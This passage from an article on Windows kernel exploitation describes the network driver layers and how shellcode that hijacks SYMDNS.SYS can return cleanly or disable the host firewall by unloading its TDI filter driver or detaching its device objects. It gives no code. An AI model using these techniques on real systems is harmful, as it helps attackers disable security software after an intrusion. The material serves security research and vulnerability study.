The TDI layer provides an interface between the network protocols and the protocol clients, or networking 
API, such as Winsock. 
 
Network API Layer 
The Network API Layer, Winsock for example, provides the programming interface for networking 
applications. 
 
All host-based firewalls worth their salt will filter at a kernel-mode layer. Usually this will be via a TDI filter 
driver, a NDIS intermediate driver or an NDIS hooking filter driver. It is possible to also hook the AFD 
interface, although I have not seen this used by a firewall product. 
 
Here is the problem we face: SYMDNS.SYS must return back to the TDI filter driver, SYMTDI.SYS, 
unfortunately communication never returns due to our shell code executing. We have a number of 
solutions: 
 
(a) The “clean” return 
 
The clean return involves returning from shell code without causing a BSOD and allowing communication 
to resume normally. This can be tough to accomplish. The stack is not in good shape after the attack, so 
you must return to a previous stack frame further down the chain. 
 
(b) Unload the TDI or NDIS filter 
 
Unloading the filter driver is another option. We can simply call the unload routine of the driver we are 
working with (if one is available, that is). This is the equivalent of calling the DriverObject->DriverUnload 
from the DriverEntry routine. The offset to this unload routine is retrieved via the DRIVER_OBJECT of the 
target driver.  
 
If the DriverUnload member of DRIVER_OBJECT is NULL, no Unload routine exists for the target driver. 
The DRIVER_OBJECT can be referenced via a member within the DEVICE_OBJECT. A pointer to the 
DEVICE_OBJECT can be retrieved by passing the driver name to the API function 
IoGetDeviceObjectPointer. 
 
(c) Detach/delete the devices 
 
A driver calls the function IoAttachDevice or IoAttachDeviceToDeviceStack to attach its own device object 
to another device, so that requests being made to the original device are first passed to the intermediate 
device. We can pass the DEVICE_OBJECT to IoDetachDevice to detach the driver from the chain. We 
may also pass the DEVICE_OBJECT to IoDeleteDevice to remove the device completely. 
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Conclusion 
  
The largely undocumented nature of the Windows kernel can make exploitation a somewhat daunting 
task. I hope that I have shown that the hurdles kernel based flaws present can certainly be overcome. 
 
Over the years, the uninformed have always claimed certain exploitation techniques were not possible. 
The mentality is “If I haven’t seen it, then it can not be done”. I recall a heap-based vulnerability in 
Microsoft ISA server a number of years back: Microsoft claimed this was not exploitable as there was no 
way to directly control the instruction pointer, yet you could overwrite any memory location of your 
choosing with data you control. Now those vulnerabilities are common, and the exploitation techniques 
are public knowledge. 
 
The same ignorance has also been applied to Windows ring 0 vulnerabilities. I hope that this article opens 
some eyes. 
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